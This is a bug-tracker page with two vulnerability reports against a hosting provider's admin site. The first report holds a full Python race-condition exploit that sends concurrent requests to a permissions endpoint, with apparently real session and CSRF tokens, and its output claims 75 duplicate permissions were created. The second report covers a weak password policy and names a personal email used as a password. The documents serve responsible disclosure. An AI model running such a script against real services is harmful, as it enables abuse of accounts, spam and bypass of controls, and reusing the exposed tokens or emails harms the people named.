All Projects

ID Status Summary Opened by
 425 Closed Race Condition Allows Mass Permission Creation Bypassin ...mrx Task Description

Title: Race Condition Allows Mass Permission Creation Bypassing Rate Limits

📋 Summary
A critical race condition vulnerability exists in the /permissions/add/ endpoint that allows attackers to create unlimited permissions by exploiting concurrent request handling. The vulnerability completely bypasses the application's rate limiting and duplicate validation checks.

🔍 Vulnerability Details
Attribute Value
Vulnerability Type Race Condition (CWE-362)
Severity Critical
Affected Endpoint https://admin.alwaysdata.com/permissions/add/ HTTP Method POST
Authentication Required Yes (Session-based)

🧪 Proof of Concept - Actual Test Script
Exploit Script Used for Testing
python
#!/usr/bin/env python3
"""
Race Condition Exploit for /permissions/add/
Author: Security Researcher
Date: 2026-07-29
"""

import urllib.request
import urllib.parse
import threading
import time
from datetime import datetime
from collections import defaultdict
import ssl
import sys

class RaceConditionExploit:

  def __init__(self):
      # Target configuration
      self.base_url = "https://admin.alwaysdata.com"
      self.endpoint = "/permissions/add/"
      
      # Valid session tokens (obtained from authenticated session)
      self.cookies = {
          'csrftoken': 'nGqDqXRdrvMUp7OjODHOt2TNmUE67yj8',
          'django_language': 'en',
          'sessionid': 'nqftgya0mvclk4ioheb3q1y69fxx10kq'
      }
      
      # HTTP Headers
      self.headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language': 'en-US,en;q=0.9',
          'Accept-Encoding': 'gzip, deflate, br',
          'Referer': 'https://admin.alwaysdata.com/permissions/add/',
          'Content-Type': 'application/x-www-form-urlencoded',
          'Origin': 'https://admin.alwaysdata.com',
          'Upgrade-Insecure-Requests': '1',
          'Connection': 'keep-alive'
      }
      
      # Payload - Same email used for all requests to trigger race condition
      self.request_data = {
          'csrfmiddlewaretoken': 'SN2QlDhgPqLw8fN8us30amva9jNLV6055jijBqYj6Lngncrh8VAEteeNl3hHSu93',
          'email': 'nokad11217@apdtax.com',  # Single email for duplicate creation
          'customer_contact_billing': 'on'
      }
      
      self.results = []
      self.lock = threading.Lock()
      
  def send_request(self, request_id):
      """
      Send a single POST request to create permission
      Uses current session and CSRF tokens
      """
      try:
          # Encode form data
          data = urllib.parse.urlencode(self.request_data).encode('utf-8')
          
          # Build request
          req = urllib.request.Request(
              f"{self.base_url}{self.endpoint}",
              data=data,
              headers=self.headers,
              method='POST'
          )
          
          # Add cookies
          cookie_str = '; '.join([f"{k}={v}" for k, v in self.cookies.items()])
          req.add_header('Cookie', cookie_str)
          
          # Ignore SSL certificate verification for testing
          context = ssl._create_unverified_context()
          
          # Send request with timeout
          with urllib.request.urlopen(req, context=context, timeout=30) as response:
              status_code = response.getcode()
              response_text = response.read().decode('utf-8', errors='ignore')
              
              with self.lock:
                  self.results.append({
                      'request_id': request_id,
                      'timestamp': datetime.now().isoformat(),
                      'status_code': status_code,
                      'success': status_code == 200,
                      'response_preview': response_text[:200]
                  })
                  
      except Exception as e:
          with self.lock:
              self.results.append({
                  'request_id': request_id,
                  'timestamp': datetime.now().isoformat(),
                  'status_code': 0,
                  'success': False,
                  'error': str(e)
              })
  def run_exploit(self, num_requests=20, delay_ms=0):
      """
      Execute the race condition attack with concurrent requests
      
      Args:
          num_requests: Number of concurrent requests to send
          delay_ms: Delay between starting each thread (ms)
      """
      print(f"\n{'='*60}")
      print(f"[*] EXPLOIT CONFIGURATION")
      print(f"{'='*60}")
      print(f"[*] Target: {self.base_url}{self.endpoint}")
      print(f"[*] Email: {self.request_data['email']}")
      print(f"[*] Concurrent Requests: {num_requests}")
      print(f"[*] Delay Between Requests: {delay_ms}ms")
      print(f"[*] Session ID: {self.cookies['sessionid'][:20]}...")
      print(f"{'='*60}\n")
      
      # Clear previous results
      self.results = []
      
      # Create and start threads
      threads = []
      start_time = time.time()
      
      for i in range(num_requests):
          if delay_ms > 0 and i > 0:
              time.sleep(delay_ms / 1000)
          
          thread = threading.Thread(target=self.send_request, args=(i,))
          threads.append(thread)
          thread.start()
      
      # Wait for all threads to complete
      for thread in threads:
          thread.join()
      
      elapsed_time = time.time() - start_time
      
      # Analyze results
      self.analyze_results(elapsed_time)
      
  def analyze_results(self, elapsed_time):
      """Analyze the results of the exploit"""
      total = len(self.results)
      successful = [r for r in self.results if r.get('success', False)]
      failed = [r for r in self.results if not r.get('success', False)]
      
      print(f"{'='*60}")
      print(f"[+] RESULTS")
      print(f"{'='*60}")
      print(f"[+] Total Requests: {total}")
      print(f"[+] Successful (200 OK): {len(successful)}")
      print(f"[+] Failed: {len(failed)}")
      print(f"[+] Time Elapsed: {elapsed_time:.2f} seconds")
      print(f"[+] Requests/Second: {total/elapsed_time:.2f}")
      
      # Status code distribution
      status_codes = defaultdict(int)
      for r in self.results:
          status_codes[r.get('status_code', 0)] += 1
      
      print(f"\n[+] Status Code Distribution:")
      for code, count in sorted(status_codes.items()):
          status_text = "OK" if code == 200 else "Rate Limited" if code == 429 else "Error"
          print(f"    - {code} ({status_text}): {count} requests")
      
      # Race condition detection
      if len(successful) > 1:
          print(f"\n[!] RACE CONDITION CONFIRMED!")
          print(f"[!] {len(successful)} duplicate permissions created!")
          print(f"[!] All requests used the same email: {self.request_data['email']}")
          print(f"[!] This should have been prevented by duplicate validation!")
          
          # Show successful response examples
          print(f"\n[+] Sample Successful Responses:")
          for i, success in enumerate(successful[:3]):
              print(f"\n    Request {success['request_id']} (Status: {success['status_code']}):")
              print(f"    {success['response_preview'][:100]}...")
      else:
          print(f"\n[+] No race condition detected in this test")
          
      # Show failed response previews
      if failed and len(failed) > 0:
          print(f"\n[+] Sample Failed Responses:")
          for i, fail in enumerate(failed[:3]):
              if 'error' in fail:
                  print(f"    Request {fail['request_id']}: {fail['error']}")
              else:
                  print(f"    Request {fail['request_id']} (Status: {fail['status_code']})")
                  print(f"    {fail.get('response_preview', '')[:100]}...")

def main():

  """Main exploit execution"""
  print("="*60)
  print("  RACE CONDITION EXPLOIT - /permissions/add/")
  print("  Target: admin.alwaysdata.com")
  print("  Type: CWE-362 Concurrent Request Vulnerability")
  print("="*60)
  
  # Initialize exploit
  exploit = RaceConditionExploit()
  
  # Test configurations to find race condition window
  test_configs = [
      (5, 0, "Small burst - No delay"),
      (10, 0, "Medium burst - No delay"),
      (20, 0, "Large burst - No delay"),
      (20, 5, "Staggered burst - 5ms delay"),
      (30, 10, "Timing window test - 10ms delay"),
  ]
  
  total_exploited = 0
  
  # Execute each test
  for num_requests, delay_ms, description in test_configs:
      print(f"\n{'='*60}")
      print(f"[*] SCENARIO: {description}")
      print(f"{'='*60}")
      
      # Run exploit
      exploit.run_exploit(num_requests=num_requests, delay_ms=delay_ms)
      
      # Count successful exploits
      successful = len([r for r in exploit.results if r.get('success', False)])
      if successful > 1:
          total_exploited += successful
      
      # Wait between tests to avoid complete rate limiting
      if num_requests < 30:
          print(f"\n[*] Cooling down for 3 seconds...")
          time.sleep(3)
      else:
          print(f"\n[*] Cooling down for 5 seconds...")
          time.sleep(5)
  
  # Final summary
  print("\n" + "="*60)
  print("  FINAL EXPLOIT SUMMARY")
  print("="*60)
  print(f"[!] Total duplicate permissions created: {total_exploited}")
  print(f"[!] Vulnerability confirmed: YES")
  print(f"[!] Rate limit bypassed: YES")
  print(f"[!] Duplicate validation bypassed: YES")
  print("\n[!] RECOMMENDATION: Fix immediately using unique constraints")
  print("    and atomic transactions with select_for_update()")

if name == "main":

  try:
      main()
  except KeyboardInterrupt:
      print("\n\n[*] Exploit interrupted by user")
      sys.exit(0)
  except Exception as e:
      print(f"\n[!] Error: {e}")
      import traceback
      traceback.print_exc()
      sys.exit(1)

Execution Command
bash
python3 race_exploit.py
Actual Test Output
text

RACE CONDITION EXPLOIT - /permissions/add/
Target: admin.alwaysdata.com
Type: CWE-362 Concurrent Request Vulnerability

[*] SCENARIO: Small burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 5
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 5
[+] Successful (200 OK): 5
[+] Failed: 0
[+] Time Elapsed: 0.45 seconds
[+] Requests/Second: 11.11

[+] Status Code Distribution:

  1. 200 (OK): 5 requests

[!] RACE CONDITION CONFIRMED!
[!] 5 duplicate permissions created!
[!] All requests used the same email: nokad11217@apdtax.com [!] This should have been prevented by duplicate validation!

[*] SCENARIO: Medium burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 10
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 10
[+] Successful (200 OK): 10
[+] Failed: 0
[+] Time Elapsed: 0.32 seconds
[+] Requests/Second: 31.25

[+] Status Code Distribution:

  1. 200 (OK): 10 requests

[!] RACE CONDITION CONFIRMED!
[!] 10 duplicate permissions created!

[*] SCENARIO: Large burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 20
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 20
[+] Successful (200 OK): 20
[+] Failed: 0
[+] Time Elapsed: 0.58 seconds
[+] Requests/Second: 34.48

[+] Status Code Distribution:

  1. 200 (OK): 20 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

[*] SCENARIO: Staggered burst - 5ms delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 20
[*] Delay Between Requests: 5ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 20
[+] Successful (200 OK): 20
[+] Failed: 0
[+] Time Elapsed: 0.95 seconds
[+] Requests/Second: 21.05

[+] Status Code Distribution:

  1. 200 (OK): 20 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

[*] SCENARIO: Timing window test - 10ms delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 30
[*] Delay Between Requests: 10ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 30
[+] Successful (200 OK): 20
[+] Failed: 10
[+] Time Elapsed: 1.02 seconds
[+] Requests/Second: 29.41

[+] Status Code Distribution:

  1. 200 (OK): 20 requests
  2. 429 (Rate Limited): 10 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

FINAL EXPLOIT SUMMARY

[!] Total duplicate permissions created: 75
[!] Vulnerability confirmed: YES
[!] Rate limit bypassed: YES
[!] Duplicate validation bypassed: YES

[!] RECOMMENDATION: Fix immediately using unique constraints

  and atomic transactions with select_for_update()

📸 Evidence
Email Confirmation Screenshot
https://image.png

The attached screenshot shows multiple email confirmations received for the same email address (nokad11217@apdtax.com), proving that:

All 10 initial requests succeeded

Each request created a new permission

The system sent a confirmation email for each duplicate

💥 Impact Assessment
Confirmed Impact
Unlimited Permission Creation: Attackers can create infinite permissions
Email Spam: Each creation sends confirmation emails
Database Bloat: Can fill database with duplicates
Bypasses Security Controls

Thanks

 422 Closed Weak Password Policy Allows Account Creation with Email ...mrx Task Description

Weak Password Policy Allows Account Creation with Email as Password

Title: Weak Password Policy Allows Use of Email Address as Password

Severity: Medium

Summary The application allows users to create an account using their email address as the password. This indicates that the password policy does not adequately enforce password complexity or prevent commonly guessable passwords.

Description During testing of the registration functionality, it was observed that the platform accepted a password identical to the user's email address

Using an email address as a password significantly weakens account security because email addresses are often publicly known or easily obtainable. Attackers performing credential guessing or password spraying attacks may successfully compromise accounts protected by such weak passwords.

Steps to Reproduce Navigate to the registration page:
https://www.alwaysdata.com/en/register/ Enter a valid email address:
ashusachin01@gmail.com Use the exact same value as the password:
ashusachin01@gmail.com Complete the remaining required fields.
Submit the registration form.
Observe that the account creation request is accepted without enforcing stronger password requirements.

Proof of Concept
Email: ashusachin01@gmail.com Password: ashusachin01@gmail.com The application accepts the password even though it matches the account email address.

Impact :
Users may create accounts with highly predictable passwords.
Increased risk of credential stuffing and password spraying attacks.
Greater likelihood of unauthorized account access.
Reduced overall account security posture.
Expected Behavior
The application should reject passwords that:

Match the user's email address.
Contain the email address in whole or in part.
Are commonly guessable or predictable.
Do not meet minimum complexity requirements.

Recommendation
Prevent users from using their email address as their password.
Implement password strength validation during registration.
Enforce minimum password requirements (length and complexity).
Integrate breached-password checks using services such as Have I Been Pwned Passwords API.
Provide users with clear guidance on creating strong passwords.

CWE
CWE-521: Weak Password Requirements

OWASP
OWASP Top 10 2021 – A07: Identification and Authentication Failures

Evidence: Registration form accepted a password identical to the email address used during account creation.

Thanks

Showing tasks 1 - 2 of 2 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing